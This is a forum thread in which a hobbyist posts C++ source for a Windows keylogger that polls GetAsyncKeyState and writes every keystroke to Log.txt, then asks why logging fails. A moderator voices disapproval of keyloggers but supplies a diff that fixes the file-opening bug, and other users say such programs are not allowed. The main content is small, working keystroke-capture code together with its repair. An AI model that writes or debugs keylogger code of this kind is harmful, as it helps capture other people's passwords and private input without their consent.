Adblock breaks this site

What's wrong with this?

Discussion in 'Programming General' started by 1cy phyr3, Aug 19, 2011.

  1. 1cy phyr3

    1cy phyr3 Active Member
    $25 USD Donor New

    Joined:
    Jun 20, 2007
    Posts:
    223
    Referrals:
    0
    Sythe Gold:
    66
    What's wrong with this?

    I made this recently out of boredom in a good 10 minutes from my friend betting me I couldn't make a working keylogging program in a small time and after making it I noticed that it has problems with sending the text to log.txt if someone could tell me what I did wrong that would be great :D
    #include <iostream>
    #include <fstream>
    #include <Windows.h>

    int main()
    {
    std::eek:fstream Log("Log.txt");

    bool AllowKey[128];

    for(int i = 0; i < 128; i++)
    {
    AllowKey = false;
    }

    while(1)
    {
    for(int K = 0; K <= 127; K++)
    {
    if((bool)GetAsyncKeyState(K) == true && AllowKey[K])
    {
    Log << (char)K <<"\n";
    Log.flush();
    AllowKey[K] = false;
    }

    if((bool)GetAsyncKeyState(K) == false)
    {
    AllowKey[K] = true;
    }
    }
    }
    }
     
  2. Nullware

    Nullware Guru

    Joined:
    Jan 30, 2007
    Posts:
    1,761
    Referrals:
    4
    Sythe Gold:
    0
    What's wrong with this?

    We generally don't approve of keyloggers but I'm going to give you the benefit of the doubt and believe you are just doing it as a hobbyist way of learning because your friend didn't think that you could just like you said.

    First of all you posted code that won't compile because you missed a colon in the 7th line. The only thing wrong with your code is that it will only work if the file already exists (appending) because you don't tell it what kind of operations the stream should expect. Tell it to expect output and it will create the file.

    Here are my changes. Hopefully you can read diff output.
    Code:
    7c7,8
    < std:fstream Log("Log.txt");
    ---
    > std::fstream Log;
    > Log.open("Log.txt", std::fstream::out);
    
     
  3. MrMango

    MrMango Active Member
    Trade With Caution

    Joined:
    Aug 26, 2011
    Posts:
    114
    Referrals:
    0
    Sythe Gold:
    0
    What's wrong with this?

    add my msn.
     
  4. Pansy123

    Pansy123 Member
    Banned

    Joined:
    Aug 24, 2011
    Posts:
    91
    Referrals:
    0
    Sythe Gold:
    0
    What's wrong with this?

    This isn't allowed.
     
  5. 1cy phyr3

    1cy phyr3 Active Member
    $25 USD Donor New

    Joined:
    Jun 20, 2007
    Posts:
    223
    Referrals:
    0
    Sythe Gold:
    66
    What's wrong with this?

    Just a note to everyone saying it's not allowed. This is just a keylogger that runs on my computer to see if I could make one I've been teaching myself C++ for a little bit now and this is one of things I've made so far ;) If it really isn't allowed then I'm sorry :p
    EDIT: Thanks for the help :) I'm not very good at it haha :p
     
< Mircosoft Access Help | Quick Question: Best Script for blogging, posting youtube videos, members page >


 
 
Adblock breaks this site